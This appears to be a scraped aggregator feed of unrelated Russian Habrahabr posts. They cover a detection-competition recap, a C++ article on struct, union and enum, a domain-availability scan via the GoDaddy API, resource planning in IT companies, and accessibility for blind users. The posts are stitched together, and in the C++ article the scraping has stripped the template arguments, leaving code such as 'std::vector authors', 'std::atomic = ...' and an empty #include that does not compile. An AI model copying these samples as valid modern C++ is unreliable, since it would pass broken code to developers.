Итоговое решение. Что мы сделали? Я лично перебил центры машинок под bounding boxes, во многом потому что так было проще начать задачу. Если бы я этого не сделал, фиг бы кто из Slack подписался бы поучаствовать, коллективом работать удобнее. А так я им боксы набил, и они такие — ну, значит, попробуем.

С точки зрения модели используем Faster R-CNN, у которой base был VGG-16. Изначально мы пробовали ResNet, но работало гораздо хуже. Потом переключились на VGG.
Использовали D4, про которую я недавно рассказывал, аугментацию train and test, ну и всё.

С точки зрения железа я использовал свой домашний компьютер. CPU не очень важен. Оперативы у меня 32 ГБ — что тоже, наверное, не очень важно. 16 бы хватило. Ну и два Titan — это важно. Британцы мне вчера написали e-mail и через несколько дней опубликуют у себя на сайте итоги соревнования: как они все восхитились, прониклись, как все красиво получилось — ну, обыкновенный пиар. Какие-то вопросы они задают участникам, даже фотографию попросили. Надо подумать, что им отправить. Один из вопросов был: а что сделало ваш подход уникальным по сравнению с другими участниками? Хочется ответить, что у меня был другой random seed, он просто был удачнее. Но по сути что я, что Серега, что Владислав занимались примерно одним и тем же. Мы брали MXNet, пилили точно так же. Просто, видимо, из-за того, что у меня было больше железа, я чуть дольше тренировал. Аугментации они добавили немножко, но в целом я только на этом, наверное, оторвался.

На тему двух GPU в Slack достаточно частый вопрос: вот я убедился, что deep learning возбуждает, красиво, умные слова, ИИ и прочее — но какое железо надо? Я студент, денег нет, сколько мне надо украсть? Нормальный ответ: чтобы начать, одного GTX 1080 хватит за глаза и на нем можно нормально все делать, в топ уходить. Но чтобы где-то как-то усугубить и претендовать на призовые места, имеет смысл вложиться в железо. Два GPU — нормально. Причем до соревнования я не умел их параллелить, потому что в Keras это океан боли. Зато можно проверять две идеи одновременно. Как показал эксперимент, соревнования — это не несколько умная у тебя модель, насколько ты сам умный или еще что-то, а как быстро ты можешь итерировать и отсекать свои и чужие идеи. И когда у вас два GPU, можно тренировать две сети и отсекать гораздо быстрее. Думаю, домой приеду, еще парочку куплю.

Спасибо. Затаскивали мы это соревнование не в одиночку, там были еще двое ребят, они тоже в десятке. Это Сергей Мушинский — привет, Ангарск! Это Владислав Кассым, тоже привет. И Сергей Белоусов. Он сам участвовать не мог по каким-то религиозным соображениям, зато он в области object detection большой эксперт, очень хорошо меня консультировал по статьям, глупым вопросам и всему остальному. Хочется подчеркнуть, что я в задаче ни черта не понимал еще месяц назад. И за месяц натаскаться с нуля до кое-чего, второе место, новости и так далее — для этого нужно общение с теми, кто готов отвечать на твои вопросы. Спасибо.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335002/


Юзабилити карточки товара. Сценарий выгодный для бизнеса

Воскресенье, 06 Августа 2017 г. 17:00 + в цитатник

Типы struct, union и enum в Modern C++

Воскресенье, 06 Августа 2017 г. 15:17 + в цитатник

Язык C++ сильно изменился за последние 10 лет. Изменились даже базовые типы: struct, union и enum. Сегодня мы кратко пройдёмся по всем изменениям от C++11 до C++17, заглянем в C++20 и в конце составим список правил хорошего стиля.


Зачем нужен тип struct


Тип struct — фундаментальный. Согласно C++ Code Guidelines, struct лучше использовать для хранения значений, не связанных инвариантом. Яркие примеры — RGBA-цвет, вектора из 2, 3, 4 элементов или информация о книге (название, количество страниц, автор, год издания и т.п.).


Правило C.2: Use class if the class has an invariant; use struct if the data members can vary independently

struct BookStats
{
    std::string title;
    std::vector authors;
    std::vector tags;
    unsigned pageCount = 0;
    unsigned publishingYear = 0;
};

Он похож на class, но есть два мелких различия:


  • по умолчанию в struct действует видимость public, а в class — private
  • по умолчанию struct наследует члены базовых структур/классов как публичные члены, а class — как приватные члены

// поле data публичное
struct Base
{
    std::string data;
};

// Base унаследован так, как будто бы написано `: public Base`
struct Derived : Base
{
};

Согласно C++ Core Guidelines, struct хорошо применять для сокращения числа параметров функции. Этот приём рефакторинга известен как "parameter object".


Правило C.1: Organize related data into structures (structs or classes)

Кроме того, структуры могут сделать код более лаконичным. Например, в 2D и 3D графике удобнее считать в 2-х и 3-х компонентных векторах, чем в числах. Ниже показан код, использующий библиотеку GLM (OpenGL Mathematics)


// Преобразует полярные координаты в декартовы
// См. https://en.wikipedia.org/wiki/Polar_coordinate_system
glm::vec2 euclidean(float radius, float angle)
{
    return { radius * cos(angle), radius * sin(angle) };
}

// Функция делит круг на треугольники,
//  возвращает массив с вершинами треугольников.
std::vector TesselateCircle(float radius, const glm::vec2& center, IColorGenerator& colorGen)
{
    assert(radius > 0);

    // Круг аппроксимируется с помощью треугольников.
    // Внешняя сторона каждого треугольника имеет длину 2.
    constexpr float step = 2;
    // Число треугольников равно длине окружности, делённой на шаг по окружности.
    const auto pointCount = static_cast(radius * 2 * M_PI / step);

    // Вычисляем точки-разделители на окружности.
    std::vector points(pointCount);
    for (unsigned pi = 0; pi < pointCount; ++pi)
    {
        const auto angleRadians = static_cast(2.f * M_PI * pi / pointCount);
        points[pi] = center + euclidean(radius, angleRadians);
    }

    return TesselateConvexByCenter(center, points, colorGen);
}

Эволюция struct


В C++11 появилась инициализация полей при объявлении.


struct BookStats
{
    std::string title;
    std::vector authors;
    std::vector tags;
    unsigned pageCount = 0;
    unsigned publishingYear = 0;
};

Ранее для таких целей приходилось писать свой конструктор:


// ! устаревший стиль !
struct BookStats
{
    BookStats() : pageCount(0), publishingYear(0) {}

    std::string title;
    std::vector authors;
    std::vector tags;
    unsigned pageCount;
    unsigned publishingYear;
};

Вместе с инициализацией при объявлении пришла проблема: мы не можем использовать литерал структуры, если она использует инициализацию полей при объявлении:


// C++11, C++14: будет ошибка компиляции из-за инициализаторов pageCount и publishingYear
// C++17: компиляция проходит
const auto book = BookStats{
    u8"Незнайка на Луне",
    { u8"Николай Носов" },
    { u8"детская", u8"фантастика" },
    576,
    1965
};

В C++11 и C++14 это решалось вручную написанием конструктора с boilerplate кодом. В C++17 ничего дописывать не надо — стандарт явно разрешает литеральную инициализацию для структур с инициализаторами полей.


В примере написаны конструкторы, необходимые только в C++11 и C++14:


struct BookStats
{
    // ! устаревший стиль!
    BookStats() = default;

    // ! устаревший стиль!
    BookStats(
        std::string title,
        std::vector authors,
        std::vector tags,
        unsigned pageCount,
        unsigned publishingYear)
        : title(std::move(title))
        , authors(std::move(authors))
        , tags(std::move(authors)) // ;)
        , pageCount(pageCount)
        , publishingYear(publishingYear)
    {
    }

    std::string title;
    std::vector authors;
    std::vector tags;
    unsigned pageCount = 0;
    unsigned publishingYear = 0;
};

В C++20 литеральная инициализация обещает стать ещё лучше! Чтобы понять проблему, взгляните на пример ниже и назовите каждое из пяти инициализируемых полей. Не перепутан ли порядок инициализации? Что если кто-то в ходе рефакторинга поменяет местами поля в объявлении структуры?


const auto book = BookStats{
    u8"Незнайка на Луне",
    { u8"Николай Носов" },
    { u8"детская", u8"фантастика" },
    1965,
    576
};

В C11 появилась удобная возможность указать имена полей при инициализации структуры. Эту возможность обещают включить в C++20 под названием "назначенный инициализатор" ("designated initializer"). Подробнее об этом в статье Дорога к С++20.


// Должно скомпилироваться в C++20
const auto book = BookStats{
    .title = u8"Незнайка на Луне",
    .authors = { u8"Николай Носов" },
    .tags = { u8"детская", u8"фантастика" },
    .publishingYear = 1965,
    .pageCount = 576
};

Зачем нужен тип union


Вообще-то в C++17 он не нужен в повседневном коде. C++ Core Guidelines предлагают строить код по принципу статической типобезопасности, что позволяет компилятору выдать ошибку при откровенно некорректной обработке данных. Используйте std::variant как безопасную замену union.


Если же вспоминать историю, union позволяет переиспользовать одну и ту же область памяти для хранения разных полей данных. Тип union часто используют в мультимедийных библиотеках. В них разыгрывается вторая фишка union: идентификаторы полей анонимного union попадают во внешнюю область видимости.


// ! этот код ужасно устрарел !
// Event имет три поля: type, mouse, keyboard
// Поля mouse и keyboard лежат в одной области памяти
struct Event
{
    enum EventType {
        MOUSE_PRESS,
        MOUSE_RELEASE,
        KEYBOARD_PRESS,
        KEYBOARD_RELEASE,
    };

    struct MouseEvent {
        unsigned x;
        unsigned y;
    };

    struct KeyboardEvent {
        unsigned scancode;
        unsigned virtualKey;
    };

    EventType type;
    union {
        MouseEvent mouse;
        KeyboardEvent keyboard;
    };
};

Эволюция union


В C++11 вы можете складывать в union типы данных, имеющие собственные конструкторы. Вы можете объявить свой констуктор union. Однако, наличие конструктора ещё не означает корректную инициализацию: в примере ниже поле типа std::string забито нулями и вполне может быть невалидным сразу после конструирования union (на деле это зависит от реализации STL).


// ! этот код ужасно устрарел !
union U
{
   unsigned a = 0;
   std::string b;

   U() { std::memset(this, 0, sizeof(U)); }
};

// нельзя так писать - поле b может не являться корректной пустой строкой
U u;
u.b = "my value";

В C++17 код мог бы выглядеть иначе, используя variant. Внутри variant использует небезопасные конструкции, которые мало чем отличаются от union, но этот опасный код скрыт внутри сверхнадёжной, хорошо отлаженной и протестированной STL.


#include 

struct MouseEvent {
    unsigned x = 0;
    unsigned y = 0;
};

struct KeyboardEvent {
    unsigned scancode = 0;
    unsigned virtualKey = 0;
};

using Event = std::variant<
    MouseEvent,
    KeyboardEvent>;

Зачем нужен тип enum


Тип enum хорошо использовать везде, где есть состояния. Увы, многие программисты не видят состояний в логике программы и не догадываются применить enum.


Ниже пример кода, где вместо enum используют логически связанные булевы поля. Как думаете, будет ли класс работать корректно, если m_threadShutdown окажется равным true, а m_threadInitialized — false?


// ! плохой стиль !
class ThreadWorker
{
public:
    // ...

private:
    bool m_threadInitialized = false;
    bool m_threadShutdown = false;
};

Мало того что здесь не используется atomic, который скорее всего нужен в классе с названием Thread*, но и булевы поля можно заменить на enum.


class ThreadWorker
{
public:
    // ...

private:
    enum class State
    {
        NotStarted,
        Working,
        Shutdown
    };

    // С макросом ATOMIC_VAR_INIT вы корректно проинициализируете atomic на всех платформах.
    // Менять состояние надо через compare_and_exchange_strong!
    std::atomic = ATOMIC_VAR_INIT(State::NotStarted);
};

Другой пример — магические числа, без которых якобы никак. Пусть у вас есть галерея 4 слайдов, и программист решил захардкодить генерацию контента этих слайдов, чтобы не писать свой фреймворк для галерей слайдов. Появился такой код:


// ! плохой стиль !
void FillSlide(unsigned slideNo)
{
    switch (slideNo)
    {
        case 1:
            setTitle("...");
            setPictureAt(...);
            setTextAt(...);
            break;
        case 2:
            setTitle("...");
            setPictureAt(...);
            setTextAt(...);
            break;
        // ...
    }
}

Даже если хардкод слайдов оправдан, ничто не может оправдать магические числа. Их легко заменить на enum, и это по крайней мере повысит читаемость.


enum SlideId
{
    Slide1 = 1,
    Slide2,
    Slide3,
    Slide4
};

Иногда enum используют как набор флагов. Это порождает не очень наглядный код:


// ! этот код - сомнительный !
enum TextFormatFlags
{
    TFO_ALIGN_CENTER = 1 << 0,
    TFO_ITALIC = 1 << 1,
    TFO_BOLD = 1 << 2,
};

unsigned flags = TFO_ALIGN_CENTER;
if (useBold)
{
    flags = flags | TFO_BOLD;
}
if (alignLeft)
{
    flag = flags & ~TFO_ALIGN_CENTER;
}
const bool isBoldCentered = (flags & TFO_BOLD) && (flags & TFO_ALIGN_CENTER);

Возможно, вам лучше использовать std::bitset:


enum TextFormatBit
{
    TextFormatAlignCenter = 0,
    TextFormatItalic,
    TextFormatBold,

    // Значение последней константы равно числу элементов,
    //  поскольку первый элемент равен 0, и без явно
    //  указанного значения константа на 1 больше предыдущей.
    TextFormatCount
};

std::bitset flags;
flags.set(TextFormatAlignCenter, true);
if (useBold)
{
    flags.set(TextFormatBold, true);
}
if (alignLeft)
{
    flags.set(TextFormatAlignCenter, false);
}
const bool isBoldCentered = flags.test(TextFormatBold) || flags.test(TextFormatAlignCenter);

Иногда программисты записывают константы в виде макросов. Такие макросы легко заменить на enum или constexpr.


Правило Enum.1: предпочитайте макросам перечислимые типы

// ! плохой стиль - даже в C99 этого уже не требуется !
#define RED   0xFF0000
#define GREEN 0x00FF00
#define BLUE  0x0000FF
#define CYAN  0x00FFFF

// стиль, совместимый с C99, но имена констант слишком короткие
enum ColorId : unsigned
{
    RED = 0xFF0000,
    GREEN = 0x00FF00,
    BLUE = 0x0000FF,
    CYAN = 0x00FFFF,
};

// стиль Modern C++
enum class WebColorRGB
{
    Red = 0xFF0000,
    Green = 0x00FF00,
    Blue = 0x0000FF,
    Cyan = 0x00FFFF,
};

Эволюция enum


В С++11 появился scoped enum, он же enum class или enum struct. Такая модификация enum решает две проблемы:


  • область видимости констант enum class — это сам enum class, т.е. снаружи вместо Enum e = EnumValue1 вам придётся писать Enum e = Enum::Value1, что гораздо нагляднее
  • enum конвертируется в целое число без ограничений, а в enum class для этого потребуется static cast: const auto value = static_cast(Enum::Value1)

Кроме того, для enum и scoped enum появилась возможность явно выбрать тип, используемый для представления перечисления в сгенерированном компилятором коде:


enum class Flags : unsigned
{
    // ...
};

В некоторых новых языках, таких как Swift или Rust, тип enum по умолчанию является строгим в преобразованиях типов, а константы вложены в область видимости типа enum. Кроме того, поля enum могут нести дополнительные данные, как в примере ниже


// enum в языке Swift
enum Barcode {
    // вместе с константой upc хранятся 4 поля типа Int
    case upc(Int, Int, Int, Int)
    // вместе с константой qrCode хранится поле типа String
    case qrCode(String)
}

Такой enum эквивалентен типу std::variant, вошедшему в C++ в стандарте C++ 2017. Таким образом, std::variant заменяет enum в поле структуры и класса, если этот enum по сути обозначает состояние. Вы получаете гарантированное соблюдение инварианта хранимых данных без дополнительных усилий и проверок. Пример:


struct AnonymousAccount
{
};

struct UserAccount
{
    std::string nickname;
    std::string email;
    std::string password;
};

struct OAuthAccount
{
    std::string nickname;
    std::string openId;
};

using Account = std::variant;

Правила хорошего стиля


Подведём итоги в виде списка правил:



Из таких мелочей строится красота и лаконичность кода в телах функций. Лаконичные функции легко рецензировать на Code Review и легко сопровождать. Из них строятся хорошие классы, а затем и хорошие программные модули. В итоге программисты становятся счастливыми, на их лицах расцветают улыбки.

Какие типы из C++17 вы применяли в production?

Проголосовало 2 человека. Воздержалось 2 человека.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334988/


Метки:  

[Из песочницы] Как просмотреть 20 млн доменных имен и остаться довольным

Воскресенье, 06 Августа 2017 г. 14:15 + в цитатник

Друзья, добро пожаловать! Ниже вас ждет история о том, как было проанализировано 20 миллионов доменных имен и что из этого вышло. Результаты можно посмотреть скачав csv-файл или восстановив дамп базы данных в PostgreSQL.


image


При желании можно поиграться с исходниками здесь или сразу с контейнерами, используя


docker-compose.yml
version: "2"
services:
  app:
    image: danieljust/domain-finder-v1
    tty: true
    ports:
      - "3000:3000"
  rabbit:
    image: rabbitmq:3
  db:
    image: postgres
    environment:
      POSTGRES_PASSWORD: example
      POSTGRES_USER: postgres
      POSTGRES_DB: postgres

Инструкцию можно найти также на гитхабе
Приятного чтения!


Disclaimer!


Все, что вы увидите и прочтете в данной статье, не является призывом и агитацией к домейнингу, а уж тем более к киберсквоттингу. Все действия были совершены ради интереса и, как говорится, «for fun».


Вступление


У многих компаний, желающих провести ребрендинг или только-только выходящих на широкий рынок, возникает желание подобрать красивый домен.
Любопытства ради, было решено в качестве красивых доменов посмотреть короткие 1-3 символьные домены.


Терминология


  • top-level domain (TLD) — домен верхнего уровня;
  • second-level domain (SLD) — домен второго уровня.
    Пример vk.com — в данном случае vk = SLD, com = TLD.

Структура таблицы в базе данных


id sldlength tld domain price roubleprice available definitive
1 1 actor 1.actor 20000 1199520 True True

id — идентификатор записи
sldlength — длина домена второго уровня
tld — домен верхнего уровня
domain — собственно доменное имя
price — цена в долларах
roubleprice — цена в рублях
available — флаг, показывающий доступность домена
definitive — флаг, показывающий был ли флаг available сверен с реестром

Результат


В процессе работы были замечены интересные сочетания доменных имен, ознакомиться с ними можно в таблице ниже.


domain roubleprice
2.pizza 47981
0.fail 23991
a.xyz 1199520
ab.xyz 299880
ad.money 11876
as.mba 2400
as.guru 11996
at.network 23991
js.army 47981

2.pizza — Идеально подойдет для начинающей пиццерии;
0.fail — для сверхнадежного чего-нибудь;
a.xyz, ab.xyz — для желающих быть поближе к гуглу;
ad.money — для рекламной площадки;
as.guru, as.mba — для консультационных фирм;
at.network — для фирм, связанных с администрированием сетей;
js.army — пролетарии всех стран, объединяйтесь.

Большинство двухсимвольных доменов, если и оказывались свободными, то их цена кусалась.
В двухсимвольных доменах верхнего уровня стран было найдено четыре свободных домена (все в чешской зоне), да и к тому же за небольшие деньги в 1000 рублей.
В трехсимвольных доменах верхнего уровня стран нашлось куда больше свободных и по доступной цене.
Количество общих доменов верхнего уровня многократно преобладает над доменами стран (домены стран составляют лишь 4% от общего числа свободных доменных имен)


image


Путь к результатам


Этап 1. Начало


За основу возможных символов в SLD были взяты -1234567890abcdefghijklmnopqrstuvwxyz (всего 37 символов).
Выясняется, что имеем мы число размещений с повторениями p^n.
Итого $inline$ 37+37\*37+37\*37\*37 = 52059 $inline$ вариантов.
Поскольку SLD не может начинаться и заканчиваться дефисом, исключим такие случаи и получим 49284.
Но это только начало.


Этап 2. Выбор API


Множество сайтов позволяют узнать, занят ли указанный домен через веб-интерфейс.
Для выполнения поставленной задачи ручного ввода данных явно недостаточно и требуется API, способное решить проблему.
В процессе поиска были встречены и отброшены следующие варианты:


  1. предоставьте нам паспортные данные, а мы вам доступ к API;
  2. заплатите нам всего лишь раз (от 5 до 15 долларов) и получите пожизненный доступ к API;
  3. оплата доступа к API раз в месяц;
  4. каждый запрос к API стоимостью около $0,01.

Но душа хотела привнести что-нибудь полезное в мир open-source да еще и максимально бесплатно.
Решением проблемы стало данное API.


Его плюсы:


  1. бесплатный;
  2. позволяет обработать до 500 доменов за один запрос;
  3. проработанная API документация.

Его минусы:


  1. ограниченное количество запросов в минуту;
  2. ответы от сервера не всегда совпадают с тем, что предлагает UI.

Например, ответ API может содержать информацию, что сайт занят, и его нельзя купить. В это же время, данное доменное имя может быть доступно для покупки через UI.


Как быть уверенным в доступности домена?


В процессе общения с технической поддержкой, было выяснено, что при финальном подтверждении покупки выбранного домена, производится контрольная проверка его доступности.
Из наблюдений, флаг definitive позволяет с большей вероятностью сделать вывод о занятости доменного имени.


Этап 3. Выбор инструментов и подготовка решения


С помощью API godaddy можно получить список TLD, в которых возможно приобрести доменные имена.
Из них выбираются TLD состоящие из одного слова (были убраны *.com.ru и т.д.). В итоге 400 TLD. Легкая арифметика приводит нас к $inline$ 49284*400 = 19 713 600 $inline$ доменов к проверке.
API godaddy может обработать до 500 доменов за 1 запрос, но имеет ограниченное количество запросов в 1 минуту.
В соответствии с вышесказанным, алгоритм работы программы был следующим:


  1. разделить все необходимые к проверке домены на куски по 5000 доменов;
  2. положить полученные куски в RabbitMQ очередь;
  3. взять порцию данных;
  4. поделить по 500 доменов. Отправить 10 запросов;
  5. обработать данные, положить информацию о свободных доменах в базу данных;
  6. подождать 20 секунд;
  7. при наличии сообщений в очереди выполнить пункты 3-6 снова.

Для удобства PostgreSQL и RabbitMQ были подняты как docker-контейнеры.


Этап 4. Анализ данных


После того, как с работой скрипта было покончено, возникла необходимость выудить из полученных данных что-нибудь интересное и полезное.
Данные любезно помещены в domains.sql и domains.csv.
image


Под фильтрацией в дальнейшем подразумевается поиск найденных SLD в списке самых частых английских сочетаний букв в соответствии с этим источником


image
image


Из пары графиков выше, можно сделать вывод, что количество свободных доменных имен, содержащих частоупотребляемые сочетания букв английского алфавита стремится к нулю.


Пятерка самых дорогих доменных имен


domain roubleprice
ads.cloud 11 906 200
vod.cloud 11 852 400
usa.cloud 11 852 400
seo.cloud 11 852 400
vip.cloud 11 852 400

Пятерка самых дешевых доменных имен


domain roubleprice
xt1.company 590
xt1.casa 590
xsz.company 590
xt1.click 590
xt1.business 590

Заключение


That's all Folks!


Прошерстив интернет было выявлено множество забавных доменов. А самое главное, что новым компаниям не стоит отчаиваться: интересные доменные имена все еще свободны, осталось их только увидеть.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334992/


Метки:  

Ресурсное планирование. Часть 1. О чем это вообще?

Воскресенье, 06 Августа 2017 г. 13:46 + в цитатник

Что самое ценное для IT-компании? Что является главным активом и ресурсом почти для каждой IT-компании? На что компания тратит больше всего денег? Какая статья затрат является самой большой? На обслуживание какого ресурса у вас уходит больше всего денег? Не сильно ошибусь, если скажу, что ответом на все эти вопросы является “Команда компании”. Именно ваша команда делает проекты, двигает вашу компанию вперед и зарабатывает деньги, и именно на зарплаты, бонусы, налоги, оборудование рабочих мест и прочие прямые и косвенные выплаты вашей команде приходится основная масса затрат компании.


Если в нужный момент у вас будет недостаточное количество вашего ключевого ресурса, то вы не сможете сделать важный проект и упустите выгоду. А если у вас будет избыток ресурсов, то вы будете нести убытки, оплачивая простаивающую часть вашей команды. Поговорим о ресурсном планировании.


Тема ресурсного планирования на удивление скудно представлена и в специализированной литературе и на пространствах рунета. Предполагается, что руководители проектов и компаний сами знают, что это такое и как с этим работать. Как показывает опыт, это немного не так. Безусловно, все понимают, что платить зарплату сотруднику, который ничего не делает — это плохо. Также плохо, когда у тебя не хватает нужных ресурсов. Но этого понимания не всегда достаточно для того, чтобы наладить в компании эффективное ресурсное планирование. И что же делать? Попробую поделиться своим пониманием вопроса.


Свое понимание планирую изложить примерно так:


  1. Что такое ресурсный план? Тут нарисуем картинку, дадим некоторые определения и расскажем, чем люди отличаются от денег.
  2. На что влияет ресурсный план? Рассмотрим сферы деятельности IT-компаний, которые, оказывается, напрямую зависят от качества ресурсного планирования. И если у вас ресурсное планирование не осуществляется на должном уровне или вдруг у вас его вообще нет, то, может быть, после прочтения этой части у вас появятся закономерные вопросы.
  3. Что влияет на ресурсный план? Рассматриваем обратную задачу — от чего зависит ресурсный план, что стоит на входе и определяет форму, размер и специфику ресурсного плана
  4. Ресурсное планирование в рамках изолированного проекта. Это ресурсное планирование с точки зрения руководителя конкретного проекта, у которого есть понимание задачи, бюджет и нужно сформировать команду и реализовать проект. Также, тут запланирован чек-лист, пробежав по которому можно будет понять, а все ли необходимое мы включили в ресурсный план?
  5. Ресурсное планирование портфеля проектов или программы. А это уже ресурсное планирование с точки зрения программного директора, руководителя портфеля проектов, ресурсного менеджера или руководителя компании, где одновременно идет множество проектов, все они находятся на разных фазах и во всех них и требуются и высвобождаются ресурсы.
  6. Долгосрочное ресурсное планирование. Если дойдем до этого пункта, то рассмотрим задачу управления ресурсными пулами компании в долгосрочной перспективе.

Что такое ресурсный план?


Для затравки приведу пример ресурсного плана




На примере мы видим ресурсный план для условного проекта вместе с финансовой информацией и некоторой аналитикой. В зависимости от уровня доступа руководителя проекта и специфики внутренних процессов, ресурсный план может видоизменяться в широких пределах. В частности, убрав зарплаты и часовые ставки, можно ограничиться только планированием человеко-часов.


Если попробовать погуглить на тему resource management/resource planning tool, то вы получите довольно внушительный список платных (в большинстве своем) и бесплатных инструментов, которые в той или иной мере помогают в решении задачи управления ресурсами. Ну а мы будем пользоваться старым добрым MS Excel.


Теперь давайте договоримся о терминах:


  • Ресурс — специалист с необходимой специализацией и опытом. Причем, под опытом понимается не только совокупное количество лет, которое человек уже успел посвятить своей профессии, но и опыт работы с конкретными проектами. Это ключевой момент и мы к нему еще вернемся.

  • Внутренний ресурсный пул — отдел или подразделение, обладающее необходимыми ресурсами, которые могут использоваться на проекте. Примеры: отдел/департамент FrontEnd, отдел/департамент QA, отдел/департамент управления проектами и т.п. По сравнению с внешними ресурсными пулями, плюсы внутренних — эффективные коммуникации, гарантированная квалификация, хорошая управляемость. Минусы — плохо масштабируются.

  • Внешний ресурсный пул — компания или специалисты, внешние по отношению к компании, которая реализует проект, которые имеют необходимые ресурсы и готовы предоставлять их проекту во временное пользование. Примеры: сайты фрилансеров, компании, специализирующиеся на аутсорсе, партнерские компании с временно недозагруженными ресурсами. Плюсы по сравнению с внутренними ресурсными пулами: отлично масштабируются. Минусы: сложность коммуникаций, дорогое управление, негарантированное качество ресурсов, стоимость, накладные расходы на администрирование.

  • Несогласованный (незастафленный) ресурсный план — это заявка на ресурсы для выполнения проекта. Такой ресурсный план говорит о том, какие ресурсы, когда, в каком количестве и на какой период нужны вам для того, чтобы вы успешно выполнили свой проект. При этом, вместо имен и фамилий в таком плане стоят прочерки или пробелы — реальных людей еще нет, вы их только хотите получить. Пока вы только можете определить требования к специалистам, которые вам нужны, и, может быть, сформулировать пожелания к ресурсным менеджерам относительно конкретных кандидатур, которых вы хотели бы видеть у себя на проекте. Некоторые позиции, конечно же, могут быть уже “застафлены” — прописаны конкретные имена людей, в отношении которых вы уже имеете подтверждение об их участии в вашем проекте.

  • Согласованный (застафленный) ресурсный план — это контракт на поставку ресурсов требуемого качества на конкретное время с владельцами ресурсных пулов. Отличие от предыдущего варианта — все прочерки заменены на реальные имена и фамилии.

  • Стафинг — процесс подбора и согласование ресурсов на незастафленные позиции ресурсного плана. Проще говоря, стафинг — это подбор команды на проект. Тут важно отметить, что очень редко бывает, что руководитель проекта получает на свой проект сотрудников, полностью соответствующих сформулированным требованиям. Все хотят на проект команду, на 100% состоящих из сеньерных дизайнеров, разработчиков, аналитиков и тестировщиков, но не все получают такие команды. Также не всегда удается получить людей к нужному сроку или на нужное время. По-этому, план может видоизменяться по мере стафинга. Если качество ресурсов хуже того, которое закладывалось при оценке проекта, то, очевидно, увеличивается количество часов для выполнения тех же самых работ. Если нужный ресурс высвобождается с другого проекта раньше или позже, чем вы планировали, то вы фиксируете это обстоятельство и переделываете план уже с учетом новых условий.

Так чем же люди отличаются от денег?


Для лучшего понимания сути управления ресурсами проведем аналогию с управлением финансами:


Деньги Ресурсы
В моменте не хватает своих денег (например, чтобы выплатить зарплату — кассовый разрыв) — занимаем в банке или у друзей. Нужен конкретный ресурс на небольшой период времени (например, чтобы сделать срочную работу без ущерба для основного скоупа) — договариваемся “пошарить” ресурс у соседнего проекта, где ресурс недозагружен
Есть излишек денег — кладем их в банк или инвестируем в прибыльный проект. Разработка “заблочена” длительным согласованием требований заказчиком — отдаем людей во временное пользование проекту, где они нужнее. При этом, затраты на этот период переносятся на соседний проект, экономим бюджет своего.
На рынке появились дешевые деньги — перекредитуемся. На соседнем проекте освободились свои разработчики, стоимость которых ниже, чем используемый на нашем аутсорсный ресурс — делаем замену

Этими кейсами аналогия не исчерпывается. Общая подмеченная закономерность — почти в каждом случае управления ресурсами можно найти аналогию из управления финансами и наоборот. Однако, между деньгами и ресурсами есть очень существенная разница, которая определяет специфику этой предметной области.


В мире денег, если вы возьмете в банке в долг 100 000 рублей, вы сразу же сможете их начать тратить, инвестировать и т.п. — деньги сразу же начнут работать, их не нужно учить. В мире управления ресурсами, если вы возьмете “в долг” двух разработчиков, они, как правило, не могут сразу же начать приносить пользу вашему проекту. Потому что, в отличие от денег, ценность ресурса определяется не только его квалификацией и уровнем владения тем или иным инструментом, но и знанием специфики конкретно вашего проекта. А это знание можно приобрести только находясь внутри вашего проекта, потратив определенное время на его изучение.


Именно на эту тему часто возникают споры с заказчиком, которому нужно в кратчайшие сроки реализовать ту или иную внеплановую функцию. Как правило, риторика заказчика бывает примерно такой “В вашей компании работает ХХХ десятков/сотен/тысяч людей, добавьте еще Y на проект и сделайте, что мы хотим”. Правда заказчика в том, что да, в вашей компании, как правило, действительно достаточно много квалифицированных людей, которые могли бы сделать то, что он хочет. Но он не учитывает тот факт, что для того, чтобы приступить к реализации этих требований, квалифицированным специалистам с других проектов нужно приобрести необходимые знания о вашем проекте, а на это нужно время, которого у вас нет.


Отсюда вывод — при управлении ресурсами всегда нужно помнить о том, что вновь добавленный ресурс, каким бы квалифицированным он не был, потребует определенного времени на погружение в проект и только потом начнет приносить результат. Время, которое требуется на погружение, зависит от квалификации ресурса, степени его знакомства с предметной областью и проектом, информационной инфраструктуры проекта и наличия людей рядом, которые смогут в доступной форме рассказать про проект и показать, как он устроен.


На этом с первой частью закончим. В следующей части поговорим о том, на что влияет ресурсный план и качество ресурсного планирования.

Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334984/


[Перевод] Скрытые послания в именах свойств JavaScript

Воскресенье, 06 Августа 2017 г. 12:18 + в цитатник

Метки:  

[Из песочницы] Доступность приложений для пользователей с нарушениями зрения

Воскресенье, 06 Августа 2017 г. 12:00 + в цитатник
Наверное, многие, познакомившись с незрячим человеком или услышав о нём, задаются вопросом: «Как люди с нарушениями зрения пользуются телефоном, находят нужную им информацию в интернете, читают электронные книги и общаются в социальных сетях?»

Очень немногим известно, что существуют программы экранного доступа (скрин-ридеры), которые озвучивают любое производимое действие, любой объект под курсором мыши, любую нажатую клавишу с помощью синтезатора речи. В последнее время пресса пытается освещать этот вопрос, но во всех случаях упоминается одна программа экранного доступа — «JAWS for windows», обладающая скромными возможностями и высокой ценой.

На самом деле, существует множество подобных программ на некоммерческой основе, функционал которых иногда даже превышает возможности платных аналогов. Однако речь в статье пойдёт не об этом, а о том, как различные гаджеты помогают людям с нарушениями зрения в быту и о доступности многих приложений и сервисов для программ экранного доступа.

Немного истории


Когда появились первые компьютеры, никто и не задумывался о том, как ими будут пользоваться незрячие. Компьютер был устройством для избранных, требовал серьёзной подготовки, огромной базы знаний и навыков. Но когда компьютеры стали доступны для рядового пользователя и начали появляться в домах у каждого третьего, встал вопрос о том, как, не видя экрана, пользоваться всеми возможностями устройства. На ум сразу приходят два ответа: на слух и наощупь. И оба эти варианта были воплощены в жизнь. На слух компьютером стало возможно пользоваться с помощью тех самых программ экранного доступа, а наощупь — при помощи так называемых «дисплеев Брайля». Это название само по себе многим может быть непонятно, ведь не все знают, что такое шрифт Брайля. Это шрифт, в котором каждому символу соответствует комбинация из одной или нескольких (до шести, а в компьютерном варианте — до десяти) точек. Но дисплеи Брайля довольно громоздки и требуют специфических драйверов, поэтому их используют чаще на компьютерах в специализированных учреждениях для людей с нарушениями зрения. А вот экранные ридеры работают почти везде, и не требуют ни мощного процессора, ни драйверов. На этом с историей закончим и перейдём к основной проблеме, головной боли всех незрячих — к доступности приложений для программ экранного доступа.

